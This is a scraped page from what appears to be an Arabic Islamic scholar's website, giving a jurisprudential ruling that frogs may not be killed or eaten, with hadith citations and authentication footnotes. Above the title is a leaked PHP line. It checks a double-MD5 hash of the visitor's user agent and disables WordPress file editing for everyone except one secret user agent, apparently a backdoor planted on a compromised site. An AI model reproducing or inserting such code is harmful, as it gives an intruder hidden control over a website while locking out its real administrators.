if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم قتل الضفادع - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم قتل الضفادع

قال رحمه الله(وَلَا يَحِلُّ قَتْلُ الضَفَادِعِ؛ لِأَنَّ النَّبِيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ نَهَى عَنْ قَتْلِ الضِّفْدَعِ) الضفدع: حيوان برمائي يعيش في المستنقعات ومياه السيول، وقد جاء في الحديث، في حديث عبدالرحمن بن عثمان القرظي: « أن طبيبًا سأل النَّبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ عن ضِفْدَعٍ يجعَلُها في دواء، فنهاه النَّبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ عن قَتْلِها»[1] [الحديث أخرجه الإمام أحمد وأبو داود والنسائي والحاكم بسندٍ صحيح، وصححه الحاكم ووافقه الذهبي وكذلك الألباني] فهو حديث صحيح، ورد عند البيهقي بسند عن عبدالله بن عمرو رضي الله عنهما قال: «لا تقتُلوا الضَّفادِعَ ، فإنَّ نَقيقَها تَسبيحٌ»[2] [قال البيهقي: هذا موقوف وصحيح]، بعض المحدثين من المتأخرين يُنكر صحة هذا الحديث ويُنكر التعليل، نقول: سبحان الله، أما الأثر فصحيح، وأما التعليل فقد جاء عن عبدالله وهو أثر موقوف عليه وهو صحيح، العلة بأن كل من في الكون يسبح لكن نص على هذا، وعلى كلٍ نقول: الحديث الأول صحيح وهو أنه صلى الله عليه وسلم نهى عن قتل الضفدع، وهل النهي عن قتلها بسبب سؤال الطبيب التداوي بها أو لهذا السبب وهو أن نقيقها تسبيح؟ المقصود أنها لا تُقتل، ونهي الشارع عن قتلها يدل على أنها لا تؤكل أيضًا خلافًا لمن قال بأكلها وهو قول عند المالكية لكنه قولٌ ضعيف من حيث الدليل، هم يحتجون بأنها من حيوان البحر والأصل في حيوان البحر الحل، لكنا نقول: سبحان الله، هي حيوان يعيش في البر وفي البحر وفي الماء، ولهذا هو يسمى حيوان برمائي وأكثر ما يعيش في المستنقعات، دويبة صغيرة ناعمة الجلد، ملمسها ناعم جدًا، قدماها أكبر من يديها، لكنا نقول: أكلها فيها شيء من القذارة والمستقذرات، ولهذا تدخل في قاعدة المستقذر حتى لو كانت تعيش في الماء فإنها لا تؤكل على الصحيح، بل هذا الحديث وهو النهي عن قتلها يدل على أنها لا تؤكل.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه أبو داود (5269)، وصححه الألباني في صحيح أبي داود (3871).

[2] أخرجه البيهقي في السنن الكبرى (9/318) وقال: الحديث موقوف وإسناده صحيح، وصححه أيضًا ابن الملقن في البدر المنير (6/346) ولكن ضعفه الألباني في ضعيف الجامع (6252) بلفظ: «لا تَقْتُلُوا الضفادعَ، فإنَّ نَقِيقَهُنَّ تسبيحٌ».